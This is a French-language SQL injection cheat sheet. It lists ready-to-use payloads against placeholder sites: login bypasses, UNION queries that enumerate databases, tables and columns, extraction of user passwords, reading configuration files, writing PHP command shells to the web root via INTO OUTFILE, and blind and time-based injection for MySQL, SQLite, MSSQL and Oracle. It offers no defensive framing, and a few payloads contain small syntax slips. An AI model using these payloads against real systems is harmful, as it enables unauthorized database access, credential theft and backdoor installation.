1.1 Injection SQL

Injecter

 OR 'a'='a ou '1 or '1'='1

 Smitch' OR '1'='1 
 Smitch' OR 1=1 OR 'a'='a

Pour que la requète SQL devienne

 SELECT login FROM users WHERE login='Smitch' OR 'a'='a' AND password='test123'OR 'a'='a'
 SELECT * FROM notice WHERE id='0' UNION SELECT NULL,NULL,NULL,User()

ou 'OR 1=1# en mot de passe, tous ce qui est derrière le # est ignoré.

Avec un commentaire:

 http://toto.com/ident.php?login='/*&pass=*/or+'1'='1

Recherche du nombre de champ dans la requête

 http://toto.com/ident.php?login='ORDER BY 3/*&pass=toto  ou
 http://toto.com/test.php?id=1' UNION SELECT 1,2,3,'4

Si la requête tombe en erreur c'est que l'on a dépassé le nombre de champ

Recherche de l'ID

 http://toto.com/ident.php?login=' AND 1=2 UNION SELECT 1,2,3/*&pass=toto

Affichage de la version de Mysql

 http://toto.com/ident.php?login=' AND 1=2 UNION SELECT @@version,2,3/*&pass=toto
 http://toto.com/test.php?id=0' UNION SELECT @@version,1,'2 

Recherche des bases

   http://toto.com/ident.php?login=' AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(schema_name)FROM information_schema.schemata)2,3/*pass=toto
   http://toto.com/Fonctions/test.php?id=0' UNION SELECT NULL, NULL, NULL, SCHEMA_NAME AS `Database` FROM INFORMATION_SCHEMA.SCHEMATA WHERE '1
   

Lister les tables

 -1 UNION SELECT null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--
 -1 UNION SELECT (SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema=database()),null
 
 http://toto.com/ident.php?login=' AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(table_name)FROM information_schema.tables WHERE table_schema LIKE 'vuln_php'),2,3/*&pass=toto
 http://toto.com/Fonctions/test.php?id=0' UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database() OR '1
 http://toto.com/Fonctions/test.php?id=0hulk’ union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()#

Afficher les champs

 http://toto.com/ident.php?login=' AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema LIKE 'vuln_php' AND table_name LIKE 'writers'),2,3/*&pass=toto
 http://toto.com/Fonctions/test.php?id=0' UNION SELECT NULL ,NULL, NULL, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME='Users
 http://toto.com/Fonctions/test.php?id=hulk’ union select 1,group_concat(column_name, 0x0a),3,4,5,6,7 from information_schema.columns where table_name=”users”#

Afficher les valeurs

 http://toto.com/ident.php?login=' AND 1=2 UNION SELECT (SELECT GROUP_CONCAT(password)FROM writers)2,3/*&pass=toto
 http://toto.com/ident.php?login=hulk’ union select 1,login,password,email,secret,6,7 from users#

Sauvegarder dans un fichier INTO OUTFILE et INTO DUMPFILE (et lancer du code PHP en même temps)

 SELECT '<? system($cmd); ?>' FROM existant_table INTO DUMPFILE '/path/to/website/backdoor.php'
 SELECT * FROM notice WHERE id='0' UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO OUTFILE '/tmp/toto.php' 

Lire un fichier

 SELECT LOAD_FILE('/complete/path/file2.txt')

Lire et copier un fichier

 SELECT LOAD_FILE('/complete/path/config.php') FROM existant_table INTO OUTFILE '/complete/path/config.txt'

UNION

 http://toto.com/test.php?id=0' UNION SELECT id,Login,PASSWORD FROM Users WHERE '1 donne la requête
 SELECT * FROM notice WHERE id='0' UNION SELECT id,Login,PASSWORD FROM Users WHERE '1'

Lors d'un UNION si les deux champs union ne sont pas du même type integer <- string les convertir grâce a: SELECT CONV(mpass,36,10)

 SELECT mid FROM membres WHERE mid=4 UNION SELECT CONV(mpass,36,10) FROM membres WHERE mid=5

On peut concaténer 2 champs avec la fonction CONCAT(mlogin,char(58),char(58),memail)

 SELECT * FROM admin WHERE alogin='webmaster' UNION SELECT mid,CONCAT(mlogin,char(58),char(58),memail),mpass,mnewsletter FROM membres WHERE mlogin='Franck'

Faire en sorte que la première requête ne renvoi rien (mid=-1 ou mid=5 OR 1=0 UNION SELECT apass FROM admin WHERE aid=1)

 SELECT mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM admin WHERE aid=1
 SELECT mlogin FROM membres WHERE mid=-1 UNION SELECT apass FROM admin WHERE aid=1 INTO OUTFILE '/path/apass.txt'

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Recherche en aveugle

Utiliser la fonction IF de mysql et la dichotomie

 IF(10, 0, 666) (Si c'est on renvoit 666, sinon 0)

ex:

  http://toto.com/ident.php?login=' AND IF((SELECT COUNT(*) FROM information_schema.SCHEMATA)>100,0(SELECT table_name FROM information_schema.TABLES))/*&pass=ds

Blind MySQL injection

Recherche de mot de passe caractère par caractère

 profile.php?user_id=1 AND substr(password,0,1)= 0×66

Injection sous SQLite

Afficher la version de SQLite

 'UNION SELECT sqlite_version(),2

Trouver les noms des bases de données

 'UNION SELECT name,2 FROM sqlite_master WHERE type = "table"--

Renvoit: news,users

Trouver le nom des champs:

 'UNION SELECT sql,2 FROM sqlite_master WHERE tbl_name = 'users' AND type = 'table'--

Renvoit: CREATE TABLE users(username TEXT, password TEXT, Year INTEGER) (2)

Afficher les champs :

 'UNION SELECT username,password FROM users--

Blind SQLite injection

Recherche du premier caractère du login

 'UNION SELECT username,password FROM users WHERE substr(username,0,1)= 'a'--

Recherche de la longueur du pass:

 'UNION SELECT username,password FROM users WHERE username='admin' AND LENGTH(password) > 4 --

Time based injection

Mysql

 admin' and sleep(30)#

Microsoft SQL

 admin' waitfor delay '00:00:10'--

Oracle

 BEGIN DBMS_LOCK.SLEEP(15); END;